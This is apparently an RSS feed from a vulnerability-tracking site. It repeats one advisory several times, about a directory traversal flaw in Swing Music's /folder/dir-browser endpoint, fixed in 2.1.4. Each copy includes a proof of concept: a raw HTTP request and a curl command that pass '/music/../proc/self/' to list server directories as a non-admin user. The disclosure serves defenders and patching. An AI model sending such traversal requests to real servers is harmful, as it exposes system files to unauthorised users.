https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 03 Oct 2026 20:09:26 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-266033 EUVD-2026-266033 https://cve.radiocsirt.org/vuln/euvd-2026-266033 https://cve.radiocsirt.org/vuln/fkie_cve-2026-23877 <p>Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music&#39;s `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.</p> <p>Swing Music is a self-hosted music player for local audio files. Prior to version 2.1.4, Swing Music&#39;s `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. Version 2.1.4 fixes the issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-23877 https://cve.radiocsirt.org/vuln/ghsa-pj88-9xww-gxmh <p><strong>Affected:</strong> PyPI: swingmusic</p> <p>### Summary Swing Music&#39;s `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.</p> <p>### Details The `@api.post(&#34;/dir-browser&#34;)` endpoint lacks proper path validation and authorization checks: - **No authorization requirement**: Any authenticated user can access the endpoint - **Improper path handling**: The code attempts to prepend &#34;/&#34; to non-existent paths but this doesn&#39;t prevent traversal: ```python req_dir = pathlib.Path(&#34;../../../../etc&#34;) # → PosixPath(&#39;../../../../etc&#39;) if not req_dir.exists(): # → False req_dir = &#34;/&#34; / req_dir # → PosixPath(&#39;/../../../../etc&#39;) ```</p> <p>### PoC 1. Create a non-admin user 2. Authenticate as a non-admin user 3. Send the following request: ``` POST /folder/dir-browser HTTP/1.1 Host: IP:1970 Content-Type: application/json Cookie: access_token_cookie=non-admin-access-token Connection: keep-alive</p> <p>{&#34;folder&#34;:&#34;/music/../proc/self/&#34;, &#34;tracks_only&#34;:false} ``` ```bash curl --path-as-is -i -s -k -X $&#39;POST&#39; -H $&#39;Content-Type: application/json&#39; -b $&#39;access_token_cookie=non-admin-access-token&#39; \ --data-binary $&#39;{\&#34;folder\&#34;:\&#34;/music/../proc/self/\&#34;, \&#34;tracks_only\&#34;:false}&#39; \ $&#39;http://IP:1970/folder/dir-browser&#39; ``` 4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths: ``` HTTP/1.1 200 OK Content-Type: ap…</p> <p><strong>Affected:</strong> PyPI: swingmusic</p> <p>### Summary Swing Music&#39;s `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.</p> <p>### Details The `@api.post(&#34;/dir-browser&#34;)` endpoint lacks proper path validation and authorization checks: - **No authorization requirement**: Any authenticated user can access the endpoint - **Improper path handling**: The code attempts to prepend &#34;/&#34; to non-existent paths but this doesn&#39;t prevent traversal: ```python req_dir = pathlib.Path(&#34;../../../../etc&#34;) # → PosixPath(&#39;../../../../etc&#39;) if not req_dir.exists(): # → False req_dir = &#34;/&#34; / req_dir # → PosixPath(&#39;/../../../../etc&#39;) ```</p> <p>### PoC 1. Create a non-admin user 2. Authenticate as a non-admin user 3. Send the following request: ``` POST /folder/dir-browser HTTP/1.1 Host: IP:1970 Content-Type: application/json Cookie: access_token_cookie=non-admin-access-token Connection: keep-alive</p> <p>{&#34;folder&#34;:&#34;/music/../proc/self/&#34;, &#34;tracks_only&#34;:false} ``` ```bash curl --path-as-is -i -s -k -X $&#39;POST&#39; -H $&#39;Content-Type: application/json&#39; -b $&#39;access_token_cookie=non-admin-access-token&#39; \ --data-binary $&#39;{\&#34;folder\&#34;:\&#34;/music/../proc/self/\&#34;, \&#34;tracks_only\&#34;:false}&#39; \ $&#39;http://IP:1970/folder/dir-browser&#39; ``` 4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths: ``` HTTP/1.1 200 OK Content-Type: ap…</p> https://cve.radiocsirt.org/vuln/ghsa-pj88-9xww-gxmh https://cve.radiocsirt.org/vuln/pysec-2026-1947 <p><strong>Affected:</strong> PyPI: swingmusic</p> <p>### Summary Swing Music&#39;s `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.</p> <p>### Details The `@api.post(&#34;/dir-browser&#34;)` endpoint lacks proper path validation and authorization checks: - **No authorization requirement**: Any authenticated user can access the endpoint - **Improper path handling**: The code attempts to prepend &#34;/&#34; to non-existent paths but this doesn&#39;t prevent traversal: ```python req_dir = pathlib.Path(&#34;../../../../etc&#34;) # → PosixPath(&#39;../../../../etc&#39;) if not req_dir.exists(): # → False req_dir = &#34;/&#34; / req_dir # → PosixPath(&#39;/../../../../etc&#39;) ```</p> <p>### PoC 1. Create a non-admin user 2. Authenticate as a non-admin user 3. Send the following request: ``` POST /folder/dir-browser HTTP/1.1 Host: IP:1970 Content-Type: application/json Cookie: access_token_cookie=non-admin-access-token Connection: keep-alive</p> <p>{&#34;folder&#34;:&#34;/music/../proc/self/&#34;, &#34;tracks_only&#34;:false} ``` ```bash curl --path-as-is -i -s -k -X $&#39;POST&#39; -H $&#39;Content-Type: application/json&#39; -b $&#39;access_token_cookie=non-admin-access-token&#39; \ --data-binary $&#39;{\&#34;folder\&#34;:\&#34;/music/../proc/self/\&#34;, \&#34;tracks_only\&#34;:false}&#39; \ $&#39;http://IP:1970/folder/dir-browser&#39; ``` 4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths: ``` HTTP/1.1 200 OK Content-Type: ap…</p> <p><strong>Affected:</strong> PyPI: swingmusic</p> <p>### Summary Swing Music&#39;s `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.</p> <p>### Details The `@api.post(&#34;/dir-browser&#34;)` endpoint lacks proper path validation and authorization checks: - **No authorization requirement**: Any authenticated user can access the endpoint - **Improper path handling**: The code attempts to prepend &#34;/&#34; to non-existent paths but this doesn&#39;t prevent traversal: ```python req_dir = pathlib.Path(&#34;../../../../etc&#34;) # → PosixPath(&#39;../../../../etc&#39;) if not req_dir.exists(): # → False req_dir = &#34;/&#34; / req_dir # → PosixPath(&#39;/../../../../etc&#39;) ```</p> <p>### PoC 1. Create a non-admin user 2. Authenticate as a non-admin user 3. Send the following request: ``` POST /folder/dir-browser HTTP/1.1 Host: IP:1970 Content-Type: application/json Cookie: access_token_cookie=non-admin-access-token Connection: keep-alive</p> <p>{&#34;folder&#34;:&#34;/music/../proc/self/&#34;, &#34;tracks_only&#34;:false} ``` ```bash curl --path-as-is -i -s -k -X $&#39;POST&#39; -H $&#39;Content-Type: application/json&#39; -b $&#39;access_token_cookie=non-admin-access-token&#39; \ --data-binary $&#39;{\&#34;folder\&#34;:\&#34;/music/../proc/self/\&#34;, \&#34;tracks_only\&#34;:false}&#39; \ $&#39;http://IP:1970/folder/dir-browser&#39; ``` 4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths: ``` HTTP/1.1 200 OK Content-Type: ap…</p> https://cve.radiocsirt.org/vuln/pysec-2026-1947